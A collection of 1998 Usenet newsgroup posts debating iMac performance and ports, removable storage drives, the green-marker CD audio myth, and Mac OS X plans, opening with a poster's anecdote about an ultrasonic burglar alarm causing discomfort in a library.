Center at BYU).
Second, at one point in my life I was installing music software on a bunch
of Macs in the A/V wing of the BYU university library (first basement). I
could tell, just at the edge of my perception, a high-pitch tone coming
from somewhere, but I couldn't tell where. Meanwhile, the whole room felt
like it was weighing down hard on me. So I first went around and turned
off all the Mac monitors; no dice. Didn't make sense anyway, as they
couldn't produce the necessary volume. Then I surmised it was the
overhead announcement speakers, but realized that they couldn't possibly
reproduce that high a frequency. It was driving me nuts. Walking outside
the wing into the main library was like a yoke being lifted off of you.
Back into the A/V wing, and the "oppression" began anew. Very hard to
explain. So I asked around if anyone else heard anything: they all
looked at me like I was insane. Finally, I went to the head guy in the
offices in the back. He was a former audio researcher and took my
complaint as probably true, but told me he couldn't verify it as at his
age (75) he couldn't hear anything over 8KHz. But he did notice that
almost all of the (female) front-desk workers were complaining of nausea.
Two had gone home after nearly throwing up. He was worried he had a
full-scale psychocontagion on his hands. So we had an audiologist come
over from across campus, carrying a really cool device: a portable
frequency meter with a digital histogram display and a highly directional
antenna. Neat-o! He couldn't hear a thing, but followed me to various
spots in the room where heard/felt the sounds most powerfully, then
pointed his antenna at the ceiling. The >28KHz bar shot up to beyond
jackhammer decibels. The culprit: little boxes installed in the ceiling
that were part of the ultrasonic burglar detection system. The A/V wing
had its own security system, and someone had forgotten to turn it off
that day. As soon as they turned it off, it was like night and day.
Sean Luke
University of Maryland at College Park
seanl@cs.umd.edu
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com>
Message-ID: <35d84257.0@news.depaul.edu>
Date: 17 Aug 98 14:46:47 GMT
In comp.sys.next.advocacy Michael M. Eilers <not@a.valid.email.add> wrote:
> Before any of you fall prey to this ridiculous claptrap about green
> markers, consider this:
> The "laser" used in CD players is in the IR band--its wavelength is
> *lower* than green (or any color.)
This is incorrect. Every CD player I've had used a red laser.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Mon, 17 Aug 1998 00:12:54 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-1708980012540001@remote786.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net>
In article <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>
>Really? What other benchmarks? Use codewarrior and you certainly dont
>get those results, even in byte. Photoshop sure as hell doesnt show
>that. Quake sure as hell doesnt show that. Excel sure as hell doesnt
>show that. Word sure as hell doesnt show that. Spec sure as hell doesnt
>show that. Caffeine(mark?) sure as hell doesnt show that. Should I go
>on? APple's OWN ENGINEERS even said that according to extensive testing
>they did with 15 photoshop functions, a g3 266 is only %30 faster than a
>p2 266.
>
>You have to be ONE DUMB MOTHERFUCKER to believe a imac is faster than a p2
>400. Heck, you have to be dumb enough to believe that the p2 processor is
>responsible for more vibrant colors.
>
>Plus, the p2 400 isnt the fastest pc out their, when he said the comment,
>their was dual p2 400's, quad p2 400's, even quad xeons.
There is no such thing as quad P2s (only P pro), and Quad Xeons are not
shipping yet (due to a bus chip bug). Performance claims via benchmarking
has always been a game of purely numbers and are as reliable as
statistics.
However, profanity aside, it is true that application performance is not
as great as the synthetic CPU benchmarks in Byte. Poor real world
performance of the G3 over the Bytemarks can be a function of poor
application compilation and tuning, poor subsystem performance, or poor
Operating system performance, or a combination of the three.
As far as applications go, I am not a firm believer that in less than a
year, Microsoft could or would ship a product that is significant tuned
for the PowerPC, as they are also the publishers of that Other operating
system. As well, excepting Photoshop (and the CW Bytemark compiled version
you claim), all the other applications you have mentioned are ports from
x86 code, so perhaps they are not as meaningful as you would suggest. It
has also been suggested from third party (personally unverified) sources
that Adobe spent a heck of a lot of time and energy working with Intel to
optimize Photoshop to take advantage of MMX, and yet the P2 266 is still
30% slower than a G3 266.
And processing power does have an effect upon video performance, thus
enabling programmers to utilize a higher bit depth at an acceptable rate,
yield much more vibrant colours.
Just a couple of points,
Tony
--
remove no spam to reply...
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 17 Aug 1998 16:14:43 GMT
Organization: University of Maryland, College Park
Message-ID: <6r9ktj$mj6$3@hecate.umd.edu>
References: <joe.ragosta-1608980706240001@elk78.dol.net> <35d7388f.75797863@news.iafrica.com> <joe.ragosta-1608981737340001@elk59.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <35d7388f.75797863@news.iafrica.com>, cquirke@iafrica.com wrote:
: > On Sun, 16 Aug 1998 07:06:23 -0400, joe.ragosta@dol.net (Joe Ragosta)
: >
: > >That's what's funny about this whole discussion. People bragging about
: > >their high quality PC sound cards run them through a set of speakers that
: > >probably sound worse than the home speakers I abandoned 5 years ago.
: >
: > >Look folks, virtually ANY PC or Mac has better quality sound than your
: > >speakers can reproduce--unless you spent upwards of $1000 on speakers for
: > >your PC.
: >
: > Actually, many users don't use peecee speakers at all, the PC sound
: > becomes just another input for the hi-fi or studio monitoring system.
: > After all, render unto Caeser, and PC vendors aren't speaker kings.
: How many people have their PC hooked up to their stereo? Maybe I live a
: sheltered life, but I don't know a single person.
: Even if you can find some, you'd have to show that their stereo is capable
: of doing better than the Mac's onboard sound before you have a point.
: There are a lot of junky home stereo systems.
I don't know of many that could truely take advantage of this, but I do know
one. My friend down in Houston has about $30K worth of computer/electronics
all hooked up to each other. He's got cable, Sat Dish, 2 TV's, his networked
computer systems(5 the last time I was there, including the 386 running win95)
all wired up. It's fairly impressive, he can watch TV on his computer,
redirect MP3 music to his stereo system.
: > >Granted, there are a few professionals who need better quality, but there
: > >are professional quality sound cards for Macs, as well.
: >
: > Do you still get stuck with a dud sound card inside the case, that
: > can't be removed and resold?
: No sound card at all--it's built into the motherboard.
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Advocacy Page
: http://www.dol.net/~Ragosta/complmac.htm
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Mon, 17 Aug 1998 04:05:19 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3655ab70.223679192@news.supernews.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
scjennings@NOSPAMprowillen.com (Sam Jennings), on Sun, 16 Aug 1998 17:41:18
-0700,
>In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
><chobros@shinbiro.com> wrote:
>
>> Is there a port to hook up a Zip drive? or a Spark Drive (only heard
>> about that from my friend). Maybe iMac doesn't have a floppy, so people
>> will just go out and hook up these 100MB-1GB drives?
>
>Iomega has announced plans to sell a Zip with a USB connection that will
>work with an iMac.
>
>Imation also is making a "Superdrive" that will read and write ordinary
>floppy disks, plus their "Superdisks" which will hold 120mb. So this would
>give an iMac the ability to read floppies and a Zip-like large-capacity
>disk.
>
>I wonder if Superdisk will catch on?
I would hope that someone would make a nice, simple, $20 USB floppy drive for
standard Mac and PC 3.5". Could it be that these are not even announced, let
alone available?
That would strongly discourage me from recommending the iMac. I don't need
any "lock in" games, and not everybody would want more than just a simple "put
a file on a disk and hand it to someone" floppy drive.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Sun, 16 Aug 1998 23:26:37 -0700
Organization: Internet Specialties West, Inc.
Message-ID: <6r8jgg$m31$1@news.iswest.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net>
ehc wrote in message <35D7C467.4370@micron.net>...
>T. Max Devlin wrote:
>> >
>> >Imation also is making a "Superdrive" that will read and write inary
>> >floppy disks, plus their "Superdisks" which will hold 120mb. So this
>> >give an iMac the ability to read floppies and a Zip-like large-capacity
>> >disk.
>> >
>> >I wonder if Superdisk will catch on?
>
>IMN stock took a jump up over the past few days but my judgment is that
>the LS-120 will be sucking sand once Sony comes out with their 100+
>meg-drive (also reads old 1.44 disks as does the LS-120).
It is called HiFD. See
http://www.pcworld.com/news/daily/data/1097/971014163458.html
You are correct that it will likely destroy the LS-120. However the ZIP has
such an installed base that it may not destroy the ZIP. The ability to
read/write
1.44 MB floppies is a good feature of the HiFD, but since floppy drives
are so cheap and since they are on every Mac and PC except the iMac,
the lack of backward compatibility for the ZIP is outweighed by its wide
acceptance. Most PC makers offer a built-in ZIP for $100, or you can
do it yourself for about $80.
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Sun, 16 Aug 1998 23:48:14 -0700
Organization: Internet Specialties West, Inc.
Message-ID: <6r8k37$mec$1@news.iswest.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <3655ab70.223679192@news.supernews.com> <35D7C467.4370@micron.net> <6r8jgg$m31$1@news.iswest.net>
Steven M. Scharf wrote in message <6r8jgg$m31$1@news.iswest.net>...
>It is called HiFD. See
>http://www.pcworld.com/news/daily/data/1097/971014163458.html
Also see:
http://www.teac.com/dsp/fd/fd_hifd.html
Alps will also be making them.
Note that the first ones will be IDE only. I'm sure if they decide to make
external
units that they will do a SCSI version and eventually a 1394 version.
However observer that even if all the USB bandwidth were used for just a
HiFD drive, the USB interface would still be too slow to keep up with the
drive. USB is simply not designed for high speed peripherals like disk
drives
(1394 is). If Apple REALLY wanted to be forward looking they would have
put a Device Bay slot on the iMac.
Of all the drawbacks of the iMac, the lack of a SCSI or 1394 port is the
most serious. You can get around the lack of a floppy drive, you can
replace the keyboard and mouse, you can even connect a bigger monitor,
but you can't easily add a high speed interface (I suppose there is a way
you
could go through the 10/100 port but it is convoluted and expensive). You
gotta
think that Apple intentionally did this so they wouldn't hurt sales of their
more
expensive machines. I guess I understand this mindset, but the result will
be sending people to PCs, not to more expensive Macs.
Steve
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: nospam@devnull.com (Hath)
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: The WebDragon
Message-ID: <nospam-1708980350390001@dhack3-201.cybernex.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <361bf690.177367739@news.supernews.com> <19980816130112440082@pm2-2-04.aug.com> <364a9876.218819802@news.supernews.com>
Date: Mon, 17 Aug 1998 07:50:39 GMT
In article <364a9876.218819802@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
> nojunkhattonr@aug.com (Rick), on Sun, 16 Aug 1998 13:01:12 -0500,
> >T. Max Devlin <mdevlin@eltrax.com> wrote:
> >
> >> I just love this shit. "The Mac is starting to really take off." The
> >> damn thing has been the most popular non-IBM clone microcomputer for
> >> almost fifteen years, and people still think in terms of "starting to take
> >> off; will become very popular in the future", etc.
> >
> >How about... starting to take off again?
>
> Considering the current microcomputer environment, EVERYTHING is starting to
> take off again. And it will get even better after September. But isn't the
> iMac just Apple's answer to Windows98? :-)
>
> (yes, it's a troll. :-)
Hath falls off the floor laughing and reaches for the Oxygen. }B=&]
--
send mail to Hath <at> cyberops <dot> org instead of to the above address.
this is to prevent spamming. e-mail reply-to's have been altered
to prevent scan software from extracting my address for the purpose
of spamming me, which I hate with a passion bordering on obsession.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 18 Aug 1998 01:38:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ralul$1fs@news1.panix.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com> <Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com> <35D30D17.B1021347@prim.demon.co.uk> <SCOTT.98Aug13093854@slave.doubleu.com> <ExorxB.4nx@T-FCN.Net> <SCOTT.98Aug14103710@slave.doubleu.com>
On 14 Aug 98 10:37:10, Scott Hess <scott@nospam.doubleu.com> wrote:
>But, these are former NeXT people at Apple. Neither company has a
>good record of leaving well enough alone. I expect that the core OS
>layer they come up with is going to be a hybrid.
I would think that it will be very much like the GNU Hurd, and very
little like NT.
The slides from the WWDC gave me the impression that MacOSX would
be much more like a "true-microkernel" than Mach2.5+++/BSD was; with
a large chunk of BSD code being moved into Mach servers.
> They'll probably
>suck in items from other branches of the MACH kernel, but only items
>with a high impact per effort ratio.
...we hope.
>After all, if they're going to take an existing microkernel from an
>external source, without substantial changes, and layer MacOS X on top
>of it, then it's hard to understand why they don't just take an
>existing _Unix_ (*BSD, Linux, whatever) and layer on top of that.
Perhaps they are going to be a lot more aggressive that the Linux and *BSD*
groups have been. They have tended to stick to the tried and true in the
main source trees. Or at the very least, kept things out of the main source
trees until they became tried and true.
Date: Mon, 17 Aug 1998 16:14:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1708981614510001@wil78.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net>
In article <6ra04l$akc$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> [ ...green pen... ]
> >But that's my point. If the error correction measurements are unchanged,
> >the color couldn't possibly make a difference. If the laser sends
> >010011010110101.... to the DAC, it doesn't matter one whit whether those
> >bits per picked up with a red laser, with a filtered laser, or with a
> >PlaySchool player.
> >
> >The only possible explanation would be if the green magic marker reduced
> >(or increased) the number of errors--and this should be easily
> >quantifiable.
>
> No, there's another significant factor that computer-type people have a
> habitual "blind spot" to. You see, computer circuits don't care when the
> bits come in, so long as they come in within the specified time interval--
> "bits is bits".
>
> However, one fundamental assumption of sampling theory is that when you
> sample or reconstruct the bits, you do so at absolutely constant intervals.
> So, even small differences in sample times make a real, audible difference in
> audio even if the error rate and the digital data stream is not changed.
>
> I have no opinion about the "green pen" doing anything meaningful, but it's
> certainly possible for something that does not have a visible effect on the
> digital data stream to be audible.
>
But how could a green pen change the sampling rate?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: erik@arbat.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 07:49:10 GMT
Organization: No
Message-ID: <6r8n9m$drb$1@mailhost.sign-tronic.dk>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>
User-Agent: tin/pre-1.4-971215 (UNIX) (Linux/2.0.33 (i586))
In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
>
> It helped, believe it or not, in a number of cases. I don't know where my green
> marker is now, but when CDs were relatively new, it did wonders. I was part
> of several double-blind tests which proved conclusively that the green marker
> changed the sound -often for the better.
You have a URL or a reference to this?
Why didn't they just measure the error rate, instead?
--
Erik Corry
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
From: gpeters@NOSPAMstaff.pulteney.sa.edu.au (Geoffrey Peters)
Date: Mon, 17 Aug 1998 17:57:01 +0930
Message-ID: <1ddx2w8.14g009gljn2w6N@wsa4.pulteney.sa.edu.au>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com>
Organization: Quantum Education Developments
Michael M. Eilers <not@a.valid.email.add> wrote:
> kindall@mail.manual.com (Jerry Kindall) wrote:
>> You need to use a green marker on the edge of the CD.
> to which George Graves responded:
>> It helped, believe it or not ... I was part of several double-blind
>> tests which proved conclusively that the green marker changed the
>> sound - often for the better.
> and Jacob Fuller followed up with:
>>> I green-markered my OS CDs...they loaded 15% faster and had fewer
>>> bugs than without the green marking. :-)
>> Did you try it on an Office 4.2.1 CD? I hear that's much improved.
> Before any of you fall prey to this ridiculous claptrap about green
> markers, consider this:
> The "laser" used in CD players is in the IR band--its wavelength is
> *lower* than green (or any color.) What color it shined through would
> make no difference at all. (for those who didn't make it past high
> school science, colors are colors because they reflect a particular
> wavelength of light and absorb the others. There is no color for
> infrared.) And if you used an opaque green marker, the CD would be
> useless. This "rumor" is about as valid as rat-in-the-fried-chicken
> story or a Good Times virus.
<dives right into the thick of it, just so he doesn't miss the fun>
Whey-hey, green-marking my PlayStation CD-ROMs *really* improved things
- my lap times in WipeOut 2097 plummeted like you wouldn't believe!
(And as we all know, PSX CDs are made from *black* plastic, right kids?)
Geoffrey
-- ----------------gpeters-@-staff.pulteney.sa.edu.au---------------- --
"I don't understand: *why* do all of Apple's current mini-towers look as
if they're the bastard child of a 10-year-old MiniVAX and a Winnebago?
Thanks, but I'll take an 8500 over a new Apple *any* day." -- Me.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: utexas.gslis.iplab,comp.sys.next.advocacy,alt.mythology.jinn,alt.skuznet.web2news,z-netz.alt.elektronik
Subject: cmsg cancel <gK8C1.764$Q%6.1159629@news.axxsys.net>
Control: cancel <gK8C1.764$Q%6.1159629@news.axxsys.net>
Date: 18 Aug 1998 05:57:48 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: axscxsafMike_Horner@thelegend.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: Erik Corry <erik@arbat.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 17 Aug 1998 21:46:50 GMT
Organization: Home
Message-ID: <6ra8ca$3l4$1@ec.arbat.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net>
User-Agent: tin/pre-1.4-971215 (UNIX) (Linux/2.0.35 (i686))
Charles W. Swiger <chuck@codefab.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>>> joe.ragosta@dol.net (Joe Ragosta) wrote:
>>> [ ...green pen... ]
>>
>> But how could a green pen change the sampling rate?
> Not the sampling rate, but it might conceivably cause minor variants in the
> precise time between samples. For the sake of argument, let's _assume_ that
> this green pen does reduce the out-of-CD-edge reflections.
> If so, then the photoreceptor will not see reflections before or after the
> proper timing interval, and will be reading the bits more closely to the
> correct interval, rather than with some time errors known as jitter. A CD
> player (or transport) which does not appropriately reclock the data stream to
> remove will have audible artifacts from jitter.
Do the maths! If it bounces back and forth four times in the
CD then it has covered 0.25m, which at half the speed of light
(inside the plastic) takes about 1.6 x 10^-9 s. A clock tick
at 44kHz is about 2 x 10 -5s ie 10000 times longer. I may
have got a few orders of magnitude wrong here (check if you
care), but it won't change the conclusion. You cannot hear
this unless your ears (and speakers) work in the megahertz
frequencies.
--
It's not so much an afterlife, more a sort of apres-vie. --DNA
--
Erik Corry erik@arbat.com
From: marke <markeaton@mindspring.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Mon, 17 Aug 1998 21:30:51 -0700
Organization: MindSpring Enterprises
Message-ID: <35D9037A.C6EB7BE@mindspring.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
>
> Mmm, I don't think so. Clearly OSX may be a market failure, but not for a
> lack of offerings as related to NT. First are the Yellow libraries that
> offer cross platform. Sure, they will be made available for NT; I'm not sure
> how to grade it, other than to mention Yellow development is significant.
... to maybe ten 3rd party vendors
> Second, the core OS os better, and will more happily house things like unix.
the market at large won't perceive the difference
> Third, there are some other mac APIs that I believe are being Yellowized
> (Quicktime), but regardless, are valuable to a niche market. Last, the UI.
a) QuickTime isn't being "Yellowized"; the QuickTime API looks and acts
the same everywhere it runs
b) QuickTime is available on NT
>
> Now I agree that I don't think that competes well against a HUGE base of apps
> and momentum as found in NT, but it does offer a tray of alternative features
> at least to some extent. Depending on your needs, the alternatives may be
> very or not at all attractive.
>
None of which you listed. The traditional Mac strengths will be what
differentiates MacOS X. Ease of setup. Ease of use. Well integrated with
the hardware. Well integrated user experience across all apps.
-mark
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 04:38:25 -0400
Organization: Manual Labor
Message-ID: <kindall-1708980438260001@nic-c41-094.mw.mediaone.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com>
In article <not-1708980019050001@ip-26-188.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <kindall-1608982232400001@nic-c41-094.mw.mediaone.net>,
> kindall@mail.manual.com (Jerry Kindall) wrote:
>
> > > >> You need to use a green marker on the edge of the CD.
> > > >
> > > >to which George Graves responded:
> > > >> It helped, believe it or not ... I was part of several
> > > >> double-blind tests which proved conclusively that the
> > > >> green marker changed the sound - often for the better.
> > > >
> > > >and Jacob Fuller followed up with:
> > > >> What exactly does the green marker do?
> > >
> > > I green-markered my OS CDs...they loaded 15% faster and had fewer bugs
> > > than without the green marking. :-)
> >
> > Did you try it on an Office 4.2.1 CD? I hear that's much improved.
>
> Before any of you fall prey to this ridiculous claptrap about green
> markers, consider this:
>
> The "laser" used in CD players is in the IR band--its wavelength is
> *lower* than green (or any color.) What color it shined through would make
> no difference at all. (for those who didn't make it past high school
> science, colors are colors because they reflect a particular wavelength of
> light and absorb the others. There is no color for infrared.) And if you
> used an opaque green marker, the CD would be useless.
How would the CD be useless if you applied an opaque green marker on the
edge? (You don't cover the whole underside of the CD with green marker!
Eek. No, just the edges. You know, so your fingers turn green every time
you handle one.)
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
A makeover for your Mac every week. http://www.manual.com/tss/
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server to Ship September 30?
Date: Mon, 17 Aug 1998 22:53:08 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1708982253080001@r4149.resnet.cornell.edu>
References: <6r9kcc$r9l$1@nnrp1.dejanews.com>
In article <6r9kcc$r9l$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> According to Macnn reality
> (http://www.macnn.com/reality/archives/081798/news.shtml):
>
> : Recent word has it that WebObjects for the Macintosh will ship
> : on September 30th. WebObjects 4.0 will be compatible with Mac
> : OS X Server, which will also ship September 30. Mac OS 8.5 will
> : ship on October 9th. On September 30th Apple will throw a party
> : for its employees in favor of Mac OS X Server and WebObjects
> : release. Our invitation arrived last Friday...
>
> Assuming this is confirmed, it would meet Apple's announced Q3 ship date (if
> only just). Now, any word on pricing?
I talked to an Apple engineer in mid-July. At that time, his
*impressions* (not official statements from Apple) were:
*OS 8.5 would ship the first week of October
*OS X Server would ship sometime after 8.5
*OS X Blue Box would ship with 8.1, not 8.5
*OS X Server would be packaged with WebObjects and
thus would cost several thousand dollars, except for .edu
users who would get it very cheap (WO for .edu users
is currently $99)
Obviously macnn is saying the schedule has changed a little bit, but not much.
I hope that last point of speculation is wrong. I am sure plenty of
high-end Mac users would consider installing OS X Server to get better
performance and stability, but have no interest in Web Objects.
Personally I want to run OS X Server to "tide me over" until OS X itself
gets here. Of course, since I'm an .edu user, I probably don't have to
worry.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Sander Stoks <sanders@sci.kun.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 17 Aug 1998 09:52:15 +0000
Organization: Sum Software
Message-ID: <35D7FD4F.2920CB6E@sci.kun.nl>
